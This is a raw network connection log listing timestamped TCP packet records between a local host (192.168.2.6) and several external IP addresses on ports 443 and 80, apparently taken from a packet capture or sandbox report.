Nov 12, 2024 13:35:29.101066113 CET	51551	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.101080894 CET	443	51551	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.101130962 CET	51551	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.117974997 CET	51552	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.118021011 CET	443	51552	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.118104935 CET	51552	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.121186972 CET	51553	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.121223927 CET	443	51553	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.121284962 CET	51553	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.121975899 CET	51553	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.121985912 CET	443	51553	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.122181892 CET	51552	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.122195959 CET	443	51552	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.122260094 CET	51549	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.122277021 CET	443	51549	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.122345924 CET	51550	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.122356892 CET	443	51550	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.122396946 CET	51551	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.122406006 CET	443	51551	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.155376911 CET	49778	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:29.156152964 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:29.160269976 CET	80	49778	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:29.161267996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:29.161389112 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:29.170016050 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:29.170049906 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:29.175194025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:29.175206900 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:29.175740004 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:29.175748110 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:29.441684961 CET	51569	443	192.168.2.6	18.244.18.122
Nov 12, 2024 13:35:29.441699982 CET	443	51569	18.244.18.122	192.168.2.6
Nov 12, 2024 13:35:29.441755056 CET	51569	443	192.168.2.6	18.244.18.122
Nov 12, 2024 13:35:29.442141056 CET	51569	443	192.168.2.6	18.244.18.122
Nov 12, 2024 13:35:29.442147970 CET	443	51569	18.244.18.122	192.168.2.6
Nov 12, 2024 13:35:29.860068083 CET	443	51552	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.863701105 CET	443	51553	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.866492987 CET	443	51551	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.869123936 CET	443	51549	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.869947910 CET	443	51550	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.950231075 CET	51550	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.950253963 CET	443	51550	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.950851917 CET	51550	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.950858116 CET	443	51550	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.951186895 CET	51549	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.951206923 CET	443	51549	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.951780081 CET	51549	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.951786041 CET	443	51549	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.952105045 CET	51552	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.952120066 CET	443	51552	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.952402115 CET	51552	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.952405930 CET	443	51552	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.952641964 CET	51553	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.952670097 CET	443	51553	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.953047991 CET	51553	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.953054905 CET	443	51553	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.953275919 CET	51551	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.953291893 CET	443	51551	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.953680992 CET	51551	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.953685045 CET	443	51551	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.076885939 CET	443	51552	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.076956034 CET	443	51552	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.077035904 CET	51552	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.077773094 CET	443	51550	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.077827930 CET	443	51550	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.077917099 CET	51550	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.078222990 CET	443	51549	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.079018116 CET	443	51549	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.079076052 CET	51549	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.080127954 CET	443	51551	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.080809116 CET	443	51551	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.080876112 CET	51551	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.081108093 CET	443	51553	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.081175089 CET	443	51553	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.081403971 CET	51553	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.211193085 CET	51552	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.211244106 CET	443	51552	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.211257935 CET	51552	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.211266994 CET	443	51552	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.212372065 CET	51551	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.212372065 CET	51551	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.212393999 CET	443	51551	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.212403059 CET	443	51551	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.213143110 CET	51553	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.213172913 CET	443	51553	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.213207006 CET	51553	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.213219881 CET	443	51553	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.215111017 CET	51550	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.215123892 CET	443	51550	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.215157986 CET	51550	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.215162992 CET	443	51550	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.215929985 CET	51549	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.215935946 CET	443	51549	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.215946913 CET	51549	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.215950012 CET	443	51549	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.288794994 CET	443	51569	18.244.18.122	192.168.2.6
Nov 12, 2024 13:35:30.368182898 CET	51569	443	192.168.2.6	18.244.18.122
Nov 12, 2024 13:35:30.368191004 CET	443	51569	18.244.18.122	192.168.2.6
Nov 12, 2024 13:35:30.369326115 CET	443	51569	18.244.18.122	192.168.2.6
Nov 12, 2024 13:35:30.369349003 CET	443	51569	18.244.18.122	192.168.2.6
Nov 12, 2024 13:35:30.369395971 CET	51569	443	192.168.2.6	18.244.18.122
Nov 12, 2024 13:35:30.383497000 CET	51569	443	192.168.2.6	18.244.18.122
Nov 12, 2024 13:35:30.383582115 CET	443	51569	18.244.18.122	192.168.2.6
Nov 12, 2024 13:35:30.408497095 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:30.408545017 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:30.408593893 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:30.408823967 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:30.408838034 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:30.443697929 CET	51575	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.443720102 CET	443	51575	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.443813086 CET	51575	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.446131945 CET	51576	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.446166039 CET	443	51576	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.446218967 CET	51576	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.447762966 CET	51577	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.447808027 CET	443	51577	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.447900057 CET	51577	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.455882072 CET	51578	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.455889940 CET	443	51578	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.456053019 CET	51578	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.456202030 CET	51578	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.456216097 CET	443	51578	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.456274986 CET	51575	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.456288099 CET	443	51575	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.457210064 CET	51576	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.457221031 CET	443	51576	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.457329988 CET	51577	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.457340956 CET	443	51577	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.463257074 CET	51579	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.463277102 CET	443	51579	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.463391066 CET	51579	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.463583946 CET	51579	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:30.463593006 CET	443	51579	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:30.465030909 CET	51569	443	192.168.2.6	18.244.18.122
Nov 12, 2024 13:35:30.465060949 CET	443	51569	18.244.18.122	192.168.2.6
Nov 12, 2024 13:35:30.491183043 CET	51580	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:30.491194963 CET	443	51580	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:30.491265059 CET	51580	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:30.492022991 CET	51580	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:30.492033005 CET	443	51580	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:30.567234039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:30.567322016 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:30.574955940 CET	51569	443	192.168.2.6	18.244.18.122
Nov 12, 2024 13:35:30.677386045 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:30.682692051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:31.187730074 CET	443	51576	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.188363075 CET	51576	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.188394070 CET	443	51576	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.188834906 CET	51576	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.188839912 CET	443	51576	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.190787077 CET	443	51577	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.190830946 CET	443	51578	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.191339970 CET	51577	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.191354036 CET	443	51577	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.191783905 CET	51577	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.191788912 CET	443	51577	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.192049980 CET	51578	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.192071915 CET	443	51578	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.192452908 CET	51578	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.192461967 CET	443	51578	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.192744017 CET	443	51579	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.193099976 CET	51579	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.193113089 CET	443	51579	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.193483114 CET	51579	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.193485975 CET	443	51579	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.198874950 CET	443	51575	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.199266911 CET	51575	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.199281931 CET	443	51575	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.200092077 CET	51575	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.200098038 CET	443	51575	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.265691996 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.266444921 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.266478062 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.266827106 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.266839981 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.266894102 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.266905069 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.266940117 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.267507076 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.269279003 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.269352913 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.269655943 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.269671917 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.318883896 CET	443	51576	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.318905115 CET	443	51576	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.318969011 CET	51576	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.318978071 CET	443	51576	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.319020033 CET	51576	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.319224119 CET	51576	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.319241047 CET	443	51576	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.319256067 CET	51576	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.319261074 CET	443	51576	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.322104931 CET	443	51578	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.322129965 CET	443	51578	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.322204113 CET	443	51578	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.322216988 CET	51578	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.322242022 CET	51578	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.322314978 CET	51584	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.322340012 CET	443	51584	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.322452068 CET	51584	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.322469950 CET	51578	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.322475910 CET	443	51578	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.322484016 CET	51578	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.322490931 CET	443	51578	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.323421955 CET	443	51579	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.323560953 CET	443	51579	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.323642015 CET	51579	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.324362993 CET	51584	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.324373007 CET	443	51584	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.324645996 CET	51579	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.324667931 CET	443	51579	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.324692011 CET	51579	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.324697971 CET	443	51579	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.325258017 CET	443	51577	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.325278997 CET	443	51577	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.325324059 CET	443	51577	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.325356007 CET	51577	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.325392962 CET	51577	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.325531960 CET	51577	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.325531960 CET	51577	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.325542927 CET	443	51577	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.325551987 CET	443	51577	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.328169107 CET	51585	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.328197956 CET	443	51585	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.328269005 CET	51585	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.328465939 CET	51585	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.328479052 CET	443	51585	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.328707933 CET	51586	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.328722000 CET	443	51586	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.328779936 CET	51586	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.329832077 CET	51586	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.329842091 CET	443	51586	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.330827951 CET	51587	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.330852032 CET	443	51587	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.331108093 CET	51587	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.331418991 CET	51587	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.331429005 CET	443	51587	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.332087040 CET	443	51575	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.332510948 CET	443	51575	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.332560062 CET	51575	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.332612038 CET	51575	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.332623959 CET	443	51575	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.332634926 CET	51575	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.332639933 CET	443	51575	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.334523916 CET	51588	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.334547997 CET	443	51588	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.334714890 CET	51588	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.334827900 CET	51588	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.334841967 CET	443	51588	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.339190006 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.428198099 CET	51589	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:31.428246975 CET	443	51589	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:31.428303957 CET	51589	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:31.428560972 CET	51589	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:31.428580999 CET	443	51589	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:31.429474115 CET	51590	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:31.429517031 CET	443	51590	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:31.429583073 CET	51590	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:31.429775000 CET	51590	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:31.429785967 CET	443	51590	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:31.436992884 CET	51591	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:31.437011957 CET	443	51591	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:31.437058926 CET	51591	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:31.437592983 CET	51591	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:31.437606096 CET	443	51591	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:31.449834108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:31.449912071 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:31.476689100 CET	51592	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.476708889 CET	443	51592	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.477132082 CET	51592	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.477509975 CET	51592	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.477519989 CET	443	51592	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.504534960 CET	51589	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:31.504910946 CET	51593	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:31.504951954 CET	443	51593	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:31.505032063 CET	51593	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:31.506586075 CET	51590	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:31.506915092 CET	51592	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.507118940 CET	51569	443	192.168.2.6	18.244.18.122
Nov 12, 2024 13:35:31.507184982 CET	443	51569	18.244.18.122	192.168.2.6
Nov 12, 2024 13:35:31.507225037 CET	51569	443	192.168.2.6	18.244.18.122
Nov 12, 2024 13:35:31.508344889 CET	51594	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:31.508362055 CET	443	51594	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:31.508411884 CET	51594	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:31.509511948 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.509521008 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.509572983 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.509887934 CET	51593	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:31.509902000 CET	443	51593	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:31.510629892 CET	51594	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:31.510638952 CET	443	51594	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:31.510731936 CET	51591	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:31.511096001 CET	51598	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:31.511110067 CET	443	51598	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:31.511169910 CET	51598	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:31.511806011 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:31.511816978 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.511950970 CET	51598	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:31.511961937 CET	443	51598	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:31.514403105 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.514446020 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.514513969 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.514524937 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.520627975 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.520675898 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.520694017 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.527055979 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.527148962 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.527158976 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.535214901 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.535271883 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.535281897 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.547338963 CET	443	51592	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:31.547348976 CET	443	51590	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:31.551335096 CET	443	51589	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:31.551348925 CET	443	51591	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:31.605566978 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.605588913 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.631978035 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.632083893 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.632101059 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.634999037 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.635075092 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.635080099 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.635093927 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.635143995 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.644787073 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.648176908 CET	443	51580	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:31.648269892 CET	51580	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:31.652595997 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.652641058 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.652668953 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.654742002 CET	51580	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:31.654747009 CET	443	51580	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:31.655036926 CET	443	51580	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:31.658457994 CET	51580	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:31.658540964 CET	51580	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:31.658545971 CET	443	51580	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:31.658715963 CET	51580	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:31.699332952 CET	443	51580	40.115.3.253	192.168.2.6
